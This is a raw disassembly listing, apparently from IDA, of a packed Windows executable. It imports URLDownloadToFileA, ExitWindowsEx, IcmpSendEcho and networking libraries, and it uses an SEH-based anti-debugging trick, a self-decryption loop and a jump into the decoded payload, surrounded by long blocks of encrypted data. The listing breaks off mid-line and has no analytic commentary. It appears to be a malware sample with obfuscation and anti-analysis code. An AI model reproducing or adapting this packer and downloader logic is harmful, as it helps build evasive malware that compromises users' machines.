0 dd 42D779A3h, 0 dd 7E45A045h, 0 dd 71AB2BF4h, 0 db 4Bh ; K db 45h, 52h, 4Eh db 45h ; E db 4Ch, 33h, 32h db 2Eh ; . db 44h, 2 dup(4Ch) db 0 db 41h, 44h, 56h db 41h ; A db 50h, 49h, 33h db 32h ; 2 db 2Eh, 64h, 6Ch db 6Ch ; l align 2 dw 4349h db 4Dh ; M db 50h, 2Eh, 64h db 6Ch ; l db 6Ch, 0, 4Dh db 53h ; S db 56h, 43h, 52h db 54h ; T db 2Eh, 64h, 6Ch db 6Ch ; l align 2 dw 7275h db 6Ch ; l db 6Dh, 6Fh, 6Eh db 2Eh ; . db 64h, 2 dup(6Ch) db 0 db 55h, 53h, 45h db 52h ; R db 33h, 32h, 2Eh db 64h ; d db 2 dup(6Ch), 0 db 57h ; W db 53h, 32h, 5Fh db 33h ; 3 db 32h, 2Eh, 64h db 6Ch ; l db 6Ch, 2 dup(0) aLoadlibrarya db 'LoadLibraryA',0 align 2 aGetprocaddress db 'GetProcAddress',0 align 2 aExitprocess db 'ExitProcess',0 align 4 aRegclosekey db 'RegCloseKey',0 db 0 align 2 aIcmpsendecho db 'IcmpSendEcho',0 align 4 aExit db 'exit',0 align 2 aUrldownloadtof db 'URLDownloadToFileA',0 align 2 aExitwindowsex db 'ExitWindowsEx',0 dd 18h dup(0) ; --------------------------------------------------------------------------- pusha push ebp mov ebp, esp call loc_40A21D call sub_40A2A4 push dword ptr fs:0 pop ebp lea ebp, [ebp+8] jmp near ptr loc_40A254+1 ; --------------------------------------------------------------------------- loc_40A21D: ; CODE XREF: seg002:0040A204p push dword ptr fs:0 mov fs:0, esp xor edx, edx push edx push edx push edx push edx push 1000h push edx push 20h push edx push 100h push 80000000h push 80000000h push 80000000h call loc_40B000 loc_40A254: ; CODE XREF: seg002:0040A218j add [ecx], ch sar dh, 0C8h ; CODE XREF: seg002:0040A25Dj or al, al jz short loc_40A261 jnz short near ptr loc_40A256+1 jmp short loc_40A2C8 ; --------------------------------------------------------------------------- loc_40A261: ; CODE XREF: seg002:0040A25Bj sub edi, edi sub ecx, ecx mov cl, 0F5h loc_40A267: ; CODE XREF: seg002:0040A268j inc edi loop loc_40A267 call $+5 pop edx add edx, 42h push edx mov ebx, 243Ch loc_40A27C: ; CODE XREF: seg002:0040A28Dj mov al, [edx] sub ax, di xchg al, [edx] inc edx add di, 0D4h dec ebx cmp ebx, 0 ja short loc_40A27C pop edx mov esp, fs:0 pop dword ptr fs:0 leave mov [esp+14h], edx popa jmp edx ; =============== S U B R O U T I N E ======================================= sub_40A2A4 proc near ; CODE XREF: seg002:0040A209p arg_C = dword ptr 10h mov eax, [esp+arg_C] pop dword ptr [eax+0B8h] xor eax, eax retn sub_40A2A4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 85h, 0B1h, 9Dh dd 78194571h, 0BD60B9C5h, 8DB9093Ch, 5D093561h, 56051D3Ah ; --------------------------------------------------------------------------- loc_40A2C8: ; CODE XREF: seg002:0040A25Fj add ebp, edx xor al, 0D9h jnz short near ptr loc_40A2F5+2 insd cli popf into ror ch, cl mov eax, ds:0CA6D99EEh int 9Dh ; used by BASIC while in interpreter out 91h, al db 65h mov ecx, 89D910C5h pop ebp sbb [edx-1Ah], edi mov al, 19h test [ebp-3], ecx sal dword ptr [eax], 1 aam 4Fh and [eax], ch mov ah, 0A5h cld loc_40A2F5: ; CODE XREF: seg002:0040A2CCj fisttp qword ptr [edx+11h] rcl dword ptr [ebp+3A6C7068h], 4Eh push cs int 59h ; GSS Computer Graphics Interface (GSS*CGI) ; DS:DX -> block of 5 array pointers ; Return: CF set on error, AX = error code ; CF clear if successful, AX = return code or eax, 5985B1E2h scasb in al, 0D5h cdq jl short loc_40A35D cmpsb out 0D3h, al mov cl, 0B5h dec ecx test al, 6Dh jmp near ptr 52379DB7h ; --------------------------------------------------------------------------- dw 0FD1Dh dd 0D391E91h, 17CB5E1h, 12780B2h, 729CBEE9h, 89BC30DEh dd 3E1F9AEh, 32697DF2h, 28EA9D35h, 8DB9E611h, 2D9417D6h dd 0B82C8829h, 0C734F573h, 1EEC2869h, 9E0C784Eh, 0B499C469h dd 0D85E89A6h db 12h ; --------------------------------------------------------------------------- loc_40A35D: ; CODE XREF: seg002:0040A30Bj fnstsw word ptr ds:0D2EC2453h[ebx*2] inc ebx xchg dl, [ecx-4Ch] retn 8DB9h ; --------------------------------------------------------------------------- db 6Fh dd 0C5FAAE46h, 103C5A2Ch, 0CF1EB971h, 0C6EE98h, 18DDF13Ah dd 0E06259D3h, 311094A4h, 9923604Fh, 1842054h, 53C7828h dd 6D99C5FDh, 30588184h, 7B9AADF6h, 5DEE2145h, 36AF0484h dd 3D5E9106h, 4D868DD1h, 0F0CF521h, 528DA6D6h, 0ABCE0B06h dd 0E0B92685h, 62920B60h, 2D99BAF1h, 7DA9E2E9h, 415E6C51h dd 91BCD6EDh, 0DC0B3736h, 0BC3C15B3h, 51BEEE67h, 4589F516h dd 0ADD905A1h, 1E9D1506h, 910EA421h, 22C93556h, 7A29BA31h dd 7D7A6746h, 8C096F11h, 0DD09A349h, 2CD570B1h, 0BDDE1196h dd 0FE7E1C51h, 1D49B5D5h, 0E119C5F1h, 0F29EA25Fh, 9839A5C5h dd 18DD95Dh, 5F7690D6h, 882995BAh, 8DB25B86h, 57868021h dd 4A1985AAh, 3DD3EF84h, 8D23E57Bh, 0DE7135CBh, 0B85989B1h dd 0CDA93FC5h, 918431BBh, 719F57A0h, 6D99F850h, 97D1DE74h dd 9A386490h, 9D9A5676h, 0FE2A5731h, 3DBE54D1h, 0D079E506h dd 278C15E5h, 0F78FE63h, 4D9995C1h, 6F8FE751h, 0DE8BF85Ah dd 0F7768B52h, 0B43C630Dh, 6751A8E1h, 47CE92BDh, 17C1AB22h dd 43EA40E8h, 80441B05h, 3F7A7437h, 0A00F48FCh, 0FD8C238Dh dd 95D0E356h, 7E4B13BFh, 0C02FB8D6h, 59FB83EDh, 86B61534h dd 0E089F3D0h, 6C1938BEh, 24C6E3CDh, 0E7D12880h, 0BC764C50h dd 9781D8EDh, 2941455Eh, 72F19B48h, 0D4DD6024h, 4FE24BB5h dd 837D9654h, 1E51FBA5h, 0BF533FBCh, 5799EA58h, 386103BDh dd 0C7860B82h, 0C8D74B5Dh, 0B7BB0BB5h, 2481F0F4h, 2796BBA5h dd 791A8FB4h, 94581ECCh, 0AF09C3DAh, 1010A2C5h, 1FC96929h dd 872130F6h, 4406238Dh, 279169A8h, 9D6870D0h, 4E614F58h dd 0FEE11951h, 0FCAE94C5h, 0DFC919A2h, 235C3228h, 69292E06h dd 3FC82F24h, 3FEA9340h, 8C91784Ch, 0B31C432Dh, 42B11825h dd 1AC75119h, 0F77BD66Ch, 4FE1A427h, 7FD1FBA1h, 0FFAA53FDh dd 4CD1388Ch, 0EFDE036Dh, 1136D70Ch, 5F73B664h, 0B7617305h dd 0F236309h, 9A0DA326h, 0E7B91417h, 17C26B16h, 44495014h dd 0BD891B05h, 9AC9741Dh, 37569B02h, 0CF7E7BCDh, 0DB2A7B25h dd 256816C3h, 0CDA404D5h, 0A4F879C7h, 87F1A8D9h, 5E4C44F8h dd 7716FBEAh, 1348E38Dh, 0B2600DF4h, 3FE98D15h, 0DB952D95h dd 8A997721h, 87C623B2h, 8EFE689Dh, 26A10B04h, 7F961886h dd 3851BBB2h, 0C1D1C2F8h, 0D601AB57h, 6F2E2B12h, 8BB05B05h dd 5A08B560h, 0EC358840h, 5F98634Dh, 0DC963E66h, 466953D0h dd 57B61392h, 7029666Dh, 9613984Ch, 0A454735Dh, 77E1F8CDh dd 5A7A1334h, 0E7E4E4A2h, 0DBB64A7Dh, 0F681EBC2h, 306AA626h dd 5647580Ch, 0CD71339Dh, 0B4D07E2Ah, 0CF4F1532h, 3D50C2E5h dd 0FAC25D3Dh, 38C4E7C5h, 0EED959F0h, 470BC6DEh, 54D6DBB7h dd 0F761588Ch, 4FF9A7F6h, 248582A5h, 3AE708F9h, 0AEA7DE8Ch dd 0AF26FF22h, 0A9B15B05h, 635028B8h, 53453960h, 0E69BFA6Bh dd 2169BBCFh, 46691316h, 8EC191D9h, 9719D929h, 0BF711BC5h dd 0ED9AB337h, 0E2F1CD5Fh, 8F8E835Ah, 6B543325h, 2877AB3Dh dd 2BFC2BD5h, 7B6483C7h, 87CB9B2Fh, 45DB3177h, 909FF335h dd 8FA3E38Dh, 1760A116h, 348D0004h, 0E090EBD5h, 73A8E66Ah dd 0D2803024h, 0AF494012h, 0EB4A4BB5h, 0D6F9A347h, 28F64A0Ch dd 0BFB95352h, 13863055h, 0CA59C3B9h, 2726E025h, 0AD097345h dd 0ECED98ACh, 1A1634Dh, 0A311BB65h, 0F4946614h, 30F3BB45h dd 9445DC9Bh, 0E8A738E4h, 0E0AE8031h, 0C909B75h, 0CF395085h dd 3C8DF8AEh, 53F9D33Dh, 21B0B7Fh, 4051054h, 0C7B6DB45h dd 71C8C084h, 8937899Fh, 90A3AF08h, 0E7822317h, 643C933Dh dd 0CC6308D1h, 18AB930Ch, 6C0DC453h, 714910BCh, 2C5DD86Ch dd 9384A30Dh, 5707A553h, 94E8FEABh, 57C198A5h, 62493F30h dd 0DC7DC81Ch, 5F73B31Dh, 4C50091Fh, 0FF9907Dh, 6712E3FEh dd 60547EBDh, 6BA56F9Eh, 0DB8E66BCh, 96715B92h, 5B6EF2ABh dd 77218BA3h, 44D8EE99h, 279188B5h, 5BDD13FAh, 0DBAFAA93h dd 0C3F895DFh, 87CBE361h, 74880977h, 3721B8DDh, 4B8DA30Ah dd 0EB9E2358h, 8DC933Dh, 80318A26h, 2F6F276Ah, 0C8C9A845h dd 9F56455Eh, 0C7751BF5h, 0FFA9741Bh, 7FC64E58h, 84A9130Ah dd 52B58495h, 0B73DAFD4h, 0D97DD88Ch, 0BF1B31Dh, 650FEAAh dd 24D5F0F4h, 0CFECBBA5h, 0C051CF3Eh, 0C2186B15h, 0AFEEA7FAh dd 4E16C4C5h, 0E856F6A4h, 3FE9A375h, 0CFA255CDh, 27CE5825h dd 7F29D47Dh, 0D7812BD5h, 2FD9832Dh, 36E78C85h, 14D1A0E4h dd 807C8B75h, 0E4F95F21h, 0A66F19C0h, 6E0AD161h, 0B4622DB2h dd 0DE85F0Ah, 5B14B86Fh, 0CE2017B0h, 0D0771E27h, 4FCE8F3Fh dd 7525CA89h, 0FF5730D1h, 0F8A65918h, 581FA059h, 772F8A9h dd 0C06E4120h, 10A76821h, 7006C061h, 0C16A0BB5h, 0FE69541Ch dd 4BE28847h, 9A2B138Ah, 0D68438E8h, 0D8C735Eh, 5C15AC52h dd 0BA66009Fh, 0FF8558F1h, 23CAB04Fh, 7C33EAD5h, 0E37E2FCEh dd 28D6692Dh, 4DCC3379h, 9C55EC92h, 0FBA836D9h, 37ED984Dh dd 693CA150h, 0AF741BB6h, 34996F04h, 7B05C45Dh, 802E01B5h dd 0D0674BD1h, 38AD8021h, 8205D88Ah, 0B35C1CB0h, 0F0D550F2h dd 7259A042h, 0A077E7A2h, 0D34A50F1h, 15BA7921h, 5E1ECF7Ah dd 0CC58BBA6h, 0EB924D09h, 3DDABA32h, 9460C38Ah, 0E38A55D1h dd 0CB29F3Ah, 5CE8CB52h, 0B368D8B9h, 0DFB65FF2h, 2BCDA55Eh dd 9A81EC72h, 0D48D2FCAh, 20F76B2Ah, 40D7D071h, 3722E89Ah dd 0C38D40CCh, 17E1A042h, 8011DF9Eh, 0CB662695h, 0FEAB603Bh dd 470FBE6Eh, 713D10DCh, 0D09439D2h, 27BE7524h, 820DFB66h dd 0A8752FDEh, 5A259F7h, 7C59C456h, 0A067EBA6h, 0C1583EFAh dd 1CBD74F3h, 7409960Dh, 0C36AF5CBh, 0EF8A481Ah, 3ADF9445h dd 7F68C3AEh, 0D5A13DE2h, 0EAE9234h, 65F1CB68h, 9E5E02A4h dd 0E9E38AF8h, 33DCA156h, 7233FBD5h, 0BE6C20D0h, 2CEFA958h dd 2E89BF65h, 9027F792h, 0E37A40E1h, 45EA8931h, 6E0EDF8Ah dd 0BC94EBD6h, 1BC27D19h, 640AC762h, 8B1CF3BAh, 0F79128D2h dd 23CC8C20h, 8005E082h, 0AA7D30D2h, 0FC9D5413h, 54069C79h dd 0A44F0805h, 0C85F43FEh, 19A07612h, 7425BC4Bh, 0B56AE565h dd 0EB8A6009h, 32DD8F56h, 7D50C390h, 99627EEh, 1FAE8736h dd 5BE2B73Bh, 0A34C10A7h, 0F9AA49D5h, 22CEA756h, 7255DA72h dd 2F8720C8h, 15F4674Bh, 44FDD47Ah, 9C3DF473h, 0CE8D158Dh dd 3BF29837h, 6A1BC39Ah, 0C67408B8h, 2EAD75EDh, 5B12B857h dd 8A3B23BAh, 0E69428D8h, 19F98B0Ah, 8C23BA71h, 0CE4E1FDEh dd 0F0B54AF2h, 79599544h, 97522091h, 0D26E4C0Bh, 1CB465FCh dd 7A22CF70h, 0BB4FBBCBh, 0E98E63F4h, 3CDD9453h, 0BA2DF56Dh dd 0F78F38D5h, 4AC862Fh, 52F5BA68h, 0CF6700A8h, 0F58147EBh dd 1ECE9F54h, 851AF581h, 0DB7A30D9h, 22CE784Ah, 2989BC6Fh dd 9053D6A1h, 0F86F40F9h, 48E68737h, 6C0EC891h, 976A19BCh dd 24C56F3Fh, 6214C46Bh, 931C10B9h, 0DA7F34E7h, 39BA7619h dd 7B04E478h, 0A2572CCFh, 18D47655h, 3DFAAF80h, 741E891h dd 0CE784700h, 16C07A12h, 0F0DC068h, 0C16F1EC8h, 0BF9D721Ah dd 2FF58834h, 8D2DF284h, 0E4923DDEh, 4BB733Ah, 6621B558h dd 0CF5DF5AAh, 0FEB45EF8h, 48299F5Ah, 8526D77Bh, 0EE6D20C3h dd 2CC47E29h, 43F7D495h, 70E1E899h, 0DD9E4FE3h, 2AE5984Bh dd 6A2CDF9Ah, 0B6660DBBh, 1EBD6019h, 6C05BC51h, 93372C9Dh dd 0DC7F39D2h, 34C95639h dd 6051BC8Bh, 0AD4E1FD3h, 12B548FBh, 6407A05Dh, 772FF97h dd 0C47D4516h, 2BC66D27h, 731AC05Fh, 0CC6D24A3h, 11AD54BDh dd 6FABB56h, 0BB5D955Fh, 0ECA31B09h, 0AB5B23Ch, 5CDCA868h dd 0B42B23B6h, 0CA13E04h, 38CE8A53h, 0D742E392h, 0E08020FFh dd 10C37812h, 54F5D48Bh, 7849C892h, 0F29E318Dh, 19E59818h dd 641EE79Eh, 978223D2h, 0D69EDC70h, 4709CC0Dh, 2CB1F39Dh dd 0CDA467B9h, 0FE794Dh, 0AC2BAA55h, 86798778h, 0EDD57BA1h dd 5E0BD46Dh, 0DCC1C81Ch, 238CB31Dh, 0ABF6FEB9h, 8EB9A33Ah dd 9AD4C321h, 0D4DA9032h, 0C2B46B55h, 9519D9BDh, 2BE6AECBh dd 0A4C9B3EAh, 7A5CEB5h, 7F7923CDh, 27AABD0Dh, 257D4A7Dh dd 6DBDB2D5h, 2FD91BEDh, 85CBDB75h, 4789C98Fh, 37E1F4FBh dd 0BE6AE3E7h, 0CB060E15h, 9AE9D34Ah, 83D69EEEh, 749983DAh dd 0BE1DA7DCh, 5F5E6B12h, 749DAAF5h, 0FE9A3DAh, 5A82FAA5h dd 86FB96B0h, 17F6F7D2h, 23E878ADh, 1FB15BE8h, 5A08B609h dd 0EC398840h, 9A46634Dh, 6711DA46h, 7A285295h, 0DF46F2CCh dd 0FC19035Ah, 0C754C34Ch, 9AFB0B1Dh, 0FC9C3EECh, 0CF395011h dd 1EA5BBA2h, 5E5E46F2h, 0E4992BD5h, 0B6F8A654h, 3C748EC4h dd 0DF8933F5h, 1462E035h, 8F79E999h, 6C0E04F8h, 3F2978D3h dd 0E89237E6h, 8ACA943Dh, 87C6BFB2h, 0C34D6E9Dh, 2CCDD86Ch dd 8DB6A30Dh, 0FF06FBA1h, 0FFA953FDh, 161E2C2Ah, 5559C3B7h dd 126E01Ch, 0AF097347h, 0DB81D007h, 8EB9790Dh, 2A77BF21h dd 0FF833F3Ah, 0DAA13015h, 0AF130DEAh, 9D71F7C5h, 50C981Dh dd 0E222B176h, 0D34C8600h, 6756687Ch, 86D12349h, 4E812BD5h dd 0DFDC4A7Dh, 15866059h, 6689F3C7h, 37E28FEFh, 97C35A8Dh dd 0E6913BE6h, 5FB4AA05h, 0F9F4B220h, 329E6F0Eh, 58C28E7h dd 7258AE20h, 6E749780h, 35AD7381h, 7D03AC65h, 2F3E9644h dd 0D6016B42h, 24E4F7E9h, 7712891h, 458CDE38h, 0D68C6B4h dd 98B93B0Dh, 0BDD4BA94h, 0C8113BA7h, 94C16B15h, 983E4AFh dd 8601288Eh, 518FE036h, 0FB26CB35h, 583B1BC5h, 0E7E73592h dd 0BE4B1E7Dh, 0D78153A2h, 0B096832Dh, 471CE4AAh, 2526AADDh dd 0B6E1CB63h, 8F41FFF1h, 0E71AB7ECh, 0EB6A933Dh, 9741E99Dh dd 0F09D5B39h, 0BC809B45h, 9F09C00Dh, 7B1EBF80h, 4FFA9F69h dd 0A72BABA5h, 0FFA94F55h, 2BD37555h, 2478CEADh, 7712889h dd 0F296EC30h, 0B7610CB1h, 0D23B45Eh, 0BF122196h, 0FF6913BDh dd 63561E67h, 0E119035Ah, 0EE85A542h, 23B19F4Dh, 4A21CB76h dd 0EF9DCF34h, 72D17B27h, 3F1FEBEAh, 170604D5h, 23FC8DD9h dd 1D656235h, 32DAE1DDh, 0F3767E83h, 0C83923BAh, 97E6FB62h dd 3B7E566Bh, 14412B82h, 22CB7F3Ch, 0C419D76Fh, 9F4AEF0Ch dd 37D4F2F5h, 9EB2B327h, 5701AB50h, 0CF7903ADh, 0FB96DE27h dd 3059C39Ah, 7B36341h, 837DB65Dh, 0BFF6FEBDh, 3EB9A33Bh dd 79F9283Ch, 7DC613FDh, 1416B11h, 0B11AF067h, 0BCF5A050h dd 382C735Dh, 872158FAh, 7C238Dh, 0AB03CED3h, 9AB1C6BDh dd 0D2812BD6h, 2FDA93A9h, 4DFF5B85h, 5FCF236Ah, 0BBE08B6Bh dd 8F39E48Eh, 3CB14D65h, 396ACD0Eh, 0DA7F34E5h, 0BA24811Ah dd 82F2D503h, 851AA578h, 0C6771CF5h, 61E930B4h, 0AEFAFB65h dd 5A2E463Eh, 0D401AB55h, 6F56612Ah, 9FB10105h, 5F09B351h dd 4C505A05h, 0FF98D1Dh, 6711BF7Ah, 3AEE06BDh, 0B0C16B15h dd 6F19C3DEh, 0F5A1ED46h, 0A4D89D56h, 7721CB12h, 7B815D50h dd 0ABD08039h, 7F29D3E6h, 6360BC9h, 3AB36781h, 87315F02h dd 0FF9688DDh, 6401AB55h, 0E39E3EAEh, 0F32D8E32h, 0C025E05Dh dd 0AF219ECBh, 0AE6F19h, 57F4ADC6h, 9478C667h, 626885DDh dd 0E50A964Dh, 0A7511695h, 3A7BB14Ch, 17F61FE2h, 5F99F2ADh dd 1F610BB5h, 5F09B356h, 11D86EF1h, 731AB661h, 87868E65h dd 446953CBh, 6B797D5h, 0B59E3C26h, 0F8715B93h, 1FCB7335h dd 49F29CF5h, 0F3EE869Dh, 0A4D13B33h, 3F44D2EAh, 1074FBD5h dd 0DD8954F9h, 0FC408C36h, 0DFC90071h, 220587B4h, 0CF4E071Ah dd 675413E5h, 7FFEDEB2h, 56EAEC95h, 23DF7640h, 8C23DC74h dd 7E3228C1h, 0D2942EE7h, 2B58F2Bh, 8235DD8Eh, 0BE8522CCh dd 0FCB35902h, 540FAF43h, 0A24AEA97h ; --------------------------------------------------------------------------- loc_40B000: ; CODE XREF: seg002:0040A24Fp rep push edi dec esi xlat and eax, 6A25C06Fh sar dword ptr [ecx+7809C643h], 1 int 3 ; Trap to Debugger or [ebx-68h], ecx out dx, al inc ecx imul eax, ebx, 17h adc al, 73h dec esi jge short loc_40B069 retf ; --------------------------------------------------------------------------- dw 0D581h dd 0CB27B34h, 5613B49Bh, 0B06504ACh, 0F7EF54FDh, 48F7D351h dd 6E61F298h, 0DB7D2BC6h, 7DD07F1Dh, 2DCEE28Ah, 6511EE55h dd 0A04910BDh, 1B15D05h, 85D6995Dh, 777F34DCh, 0FDC26DCBh dd 7CEBA851h, 9F49F335h, 542220F5h ; --------------------------------------------------------------------------- stc loc_40B069: ; CODE XREF: seg002:0040B01Bj test al, 0B9h dec edi jecxz short loc_40B0E6 sub [ebp+edi*4-1DC556ADh], bl aaa not byte ptr [edi] lodsd inc esp sub dword ptr [edx-0EB4D06Fh], 945900D8h cmc or ebp, [edx+0E753153h] xor eax, 321F3CC3h mov ds:8A4C4C60h, al stosd mov bh, 57h insd cmp ch, [edi] insd hlt ; --------------------------------------------------------------------------- db 78h, 97h, 2Ch dd 4EB3F092h, 0FCA0CB35h, 0CF39525Dh, 6D97047Fh, 0B66785F1h dd 12A32C46h, 0B4664248h, 87F1C8D6h, 4589C98Dh, 0DB767E3Bh dd 0E3923BAh, 0EB895739h, 4391AA8Ah, 0E641EB95h, 8A99822Bh dd 87C623B2h, 1B118B9Dh db 6Ch, 0BEh ; --------------------------------------------------------------------------- loc_40B0E6: ; CODE XREF: seg002:0040B06Cj stc cli dec ebp mov ds:0BA63FEF9h, eax add [edx-50h], ah push ebx call near ptr 0C1D98E8Bh push edi ; --------------------------------------------------------------------------- dd 0CA75F4C5h, 1667831Ch, 0EC08B664h, 0B7A11AB8h, 0FB95AE5h dd 0AC44E865h, 0A95B22EFh, 17FDAF51h, 44955014h, 0BD091B05h dd 12C9731Dh, 5013BB68h, 905F0FA3h, 9C202B25h, 7FE9E035h dd 0CC55A85Eh, 0E883EDh, 6F51600Ah, 6412339Dh, 3721B573h dd 0BAEC6DEh, 56917BF2h, 3FE98F95h, 34B67095h, 289983F5h dd 19CDF0CAh, 0F1B1F3DDh, 0D910BE63h, 4CE0208Ch, 0F7A0FB65h dd 1C52F080h, 0D401AB15h, 6F56DE3Ah, 9D650B05h, 0AD09495Eh dd 0B761091Dh, 1F2E468Dh, 0EC11FB73h, 9D9E397Dh, 240BF09Ah dd 954BC3ADh, 0EAC6A0C3h, 0F3C9B302h, 48F19B43h, 0E3EE869Fh dd 0CFD13B33h, 711540C4h, 5CC72B95h, 2F996BE2h, 872D0385h dd 2EE033DDh, 661CCA7Ch, 0DB7DF5BFh, 5C603B29h, 3F29A0A1h dd 97481328h, 442643EDh, 47319381h, 1B0668C6h, 4FA10B22h dd 0AA580D1Eh, 0A751FF0Dh, 0C972FEFDh, 2BC66D1Eh, 7B25BF83h dd 73266E05h, 0E409732Ah, 9AE50E75h, 7EB9630Eh, 6711B8CDh dd 3DDE88BDh, 60C1AB2Dh, 411128E2h, 0AD091B05h, 9E48F6ABh dd 3757DF2Ah, 538823CDh, 27D17C67h, 80B927FEh, 6F552BD5h dd 2FD9842Eh, 5C3D489Ch, 0A30A339Dh, 37E18CC5h, 0F5ED5ADDh dd 5C6069E5h, 3F299D21h, 0CC8AAB12h, 0DE215BE2h, 0BC809B45h dd 9F09C0E1h, 0A424A960h, 4FB9A826h, 246AC8A5h, 0BFC6287Ah dd 0EC307B55h, 0AF19EDA5h, 8BB09B82h, 5F09B428h, 2E5D4B40h dd 9AC9460Dh, 0A7FE24E2h, 0CEECDBDh, 18C1AB0Dh, 7043C387h dd 3C0019EFh, 1F893D09h, 729043F8h, 0CF7A3149h, 9C4EEA25h dd 7FE9B85Ah, 0A6533B7Fh, 1DD1054h, 0C7B6DB45h, 0DF7BB0D4h dd 0E45E8B35h, 8F79E80Bh, 73694376h, 67A85607h, 9741EB21h dd 783F1A33h, 0D2257711h, 5F7E5B0Ah, 8B4ED0F5h, 0E0F96352h dd 0EDBE63A6h, 0C3349644h, 7742BB31h, 931DFAA5h, 0FFD19C01h dd 672D6F58h, 0B766F305h, 39DE630Dh, 9A111373h, 0B4BD8084h dd 0DB446B55h, 71607D61h, 48E6A0A5h, 5C9B302h, 7742B375h dd 7E2B23CDh, 39C1E87Ch, 3BB6D33Dh, 25837B1h, 0EFAE4BBAh dd 4F351585h, 0DFF3F3D7h, 2234D685h, 0CF4FF31Ah, 64773AE5h dd 7F0631C2h, 0AF411195h, 0EF9943E1h, 0BC80CA74h, 9F09BD8Dh dd 0F7A14F2Ah, 0DCC6904Dh, 6767BD32h, 0CC36C8FDh, 2E016B4Dh dd 605999E3h, 7CC00AB3h, 5F497D51h, 21610338h, 0E944F424h dd 794F48EAh, 0CCD913FDh, 27F6CDC7h, 5B15B8Dh, 0D592AE5Ch dd 0ACD2120Ch, 0CD7CCC64h, 19A45648h, 398F10AAh, 0E35CD33Dh dd 409C5654h, 2F4EA600h, 7319B53h, 1F9EBE22h, 4D558C35h dd 8F8E13E5h, 73060EE5h, 0BFE9D34Ah, 0D729300Ah, 0E0AD43EDh dd 340A1804h, 9F49F3DDh, 7CE74BF5h, 4FB9CB02h, 0F10764A5h dd 84F09644h, 57C1B8D5h, 2F5903ADh, 7B599BAh, 7F58A952h dd 11C06E1Bh, 2F1FB62Dh, 0CC7724C9h, 9FB833DEh, 3CDE9441h dd 4F48EF4Dh, 0EC8D38E8h, 13AA813Fh, 6D1EEC52h, 0EF9943EDh dd 0F6F13E45h, 24D6A84Ah, 78280B87h, 0D97E1FDFh, 352BE066h dd 49EEC77Ah, 0A646EFA1h, 0AF923700h, 37E19C4Dh, 690AB386h dd 0BF66CBB1h, 3BC601Dh, 2305BD66h, 803D027Dh, 0D17A27DBh dd 7C19C92Ch, 880801AAh, 0A85132C9h, 0F8E146FBh, 53399741h dd 0A891F4A6h, 0C9294FF3h, 2BB9661Eh, 7A1F8321h, 0B577DBB7h dd 0E3977016h, 0F7FA4B48h, 8342E49Ch, 0FA6B209Fh, 4BB9035h dd 5C13AC95h, 0A4680CEDh, 0F5B79B49h, 23D7B056h, 96611E88h dd 107E18C4h, 67C5A465h, 53A9C276h, 5846F09Eh, 0B28D1CADh dd 48ED5B38h, 4CCAF089h, 5AC5E79Fh, 0A3B2D8DDh, 0B04ED68Ch dd 46221EBFh, 0EE8BF72Fh, 62AB5B4Ah, 49452465h, 61BD42EDh dd 0BF747965h, 7320F5h, 0A1BA01E4h, 0CECA35FDh, 131D5FCFh dd 0FB963CFh, 6711BB65h, 0BF6913BDh, 17C16B15h, 6F19C36Dh dd 0C7711BC5h, 1FC9731Dh, 7721CB75h, 0CF7923CDh, 27D17B25h dd 7F29D37Dh, 0D7812BD5h, 2FD9832Dh, 8731DB85h, 0DF8933DDh dd 37E18B35h, 8F39E38Dh, 0E7913BE5h, 7E3E443Dh, 0FCC40B62h dd 0EFD92C4Bh, 9D561A45h, 9F493366h, 0B64F6FCh, 5AF172C2h dd 0A657C234h, 0E36DCA2Dh, 53C39231h, 6D340C5Fh, 7EA5EA0Dh dd 9D349F1Fh, 59F694B9h, 98B9A336h, 0A71A61E2h, 3E6EEABDh dd 0E06353D7h, 6F1D818Eh, 0A508984Dh, 331735Dh, 4F21CB75h dd 0CF7923EDh, 45F5F8AAh, 7802D33Dh, 567DD7EDh, 42FB7F6Dh dd 50AF589Ch, 0D24C339Dh, 2A5E8A0Eh, 6E3923AFh, 0B3E10ED5h dd 0E76C93B4h, 10F78991h, 2F7B1F72h, 47BB1A45h, 0CD74F0A9h dd 74B139F8h, 6B10703h, 0A75B7A5Bh, 0EDE84FC9h, 530AA80h dd 0CA101BBDh, 418C6E1Ch, 98B32838h, 0B6A90BF5h, 9A7C8F48h dd 0A71A29E2h, 49EECEBDh, 17C1AB0Eh, 1719C36Dh, 0C7711B99h dd 5857F098h, 6C79CB35h, 37D8863Ch, 27D17B1Dh, 78B75800h dd 8C812B95h, 8F56FC25h, 9E319B67h, 69163641h, 0F6E1CB6Eh dd 0A8AB6004h, 5C0A3B25h, 3F299CB3h, 9741EA3Dh, 0AE6232EDh dd 47710AD0h, 71BF39Dh, 6210BD5Ah, 68A33050h, 0D954FB65h dd 0FFB51980h, 5808275Ch, 45DC03ADh, 8BB05BF5h, 5F09B362h dd 75D4940h, 0EA971BE5h, 0FD96BA3Ch, 0BE6953C6h, 0F3BBBD3h dd 83196CEDh, 0A1FA9BBEh, 86897229h, 78D952E6h, 0AB8844Eh dd 7052AE5Ch, 7FF58739h, 0AE4A4F82h, 45F20265h, 87885E8Ch dd 60EF33DDh, 65147DADh, 8FE46084h, 66C73BE5h, 441E9347h dd 2E513120h, 0EEA3BAEFh, 5589CCD6h, 9EC87623h, 0B7CAF1A2h dd 8F7E384Dh, 2B50527Dh, 0FFA95379h, 405B188Ch, 0D709036Dh dd 12C06DB2h, 98B33060h, 3CE00BF5h, 0FF98CA7h, 9635B768h dd 0AE6BD340h, 0F376EF0h, 3899D110h, 0AB324AA5h, 3BF26FF9h dd 9B1DF491h, 38E4E398h, 5AD0D2A6h, 79DDF808h, 9CD96256h dd 16DCAC3h, 4EDAF206h, 9FD363Eh, 55B782B6h, 0B18D773Ah dd 0C0041266h, 591D6265h, 306EA216h, 0E1ADF235h, 123732C6h dd 0A93D947Ah, 22D1C276h, 51CD046Ah, 0B0C368FCh, 288453BDh dd 8230DE06h, 0A39B8273h, 12BF7E2Eh, 0C50BF264h, 0CC3963B1h dd 979846FBh, 0A7356CD2h, 0B0E16DBDh, 0D763692Dh, 0D1BC209h dd 0C98B82E3h, 94430B45h, 0B5A43EECh, 0B5AA9EC5h, 84293322h dd 0FF6816CAh, 0CE342A0Fh, 0B4DB539Dh, 87F1B7B6h, 45B04A37h dd 0B77BE39Dh, 878EE277h, 0A4692C75h, 0B7A8560Ah, 9741EB96h dd 0FCAD1169h, 0FD7F3BF6h, 0A4B47D38h, 0F7A14BADh, 0EA5B3ACDh dd 0B3DE80E8h, 32A91309h, 17F59CD2h, 0AF5903ADh, 57B4E785h dd 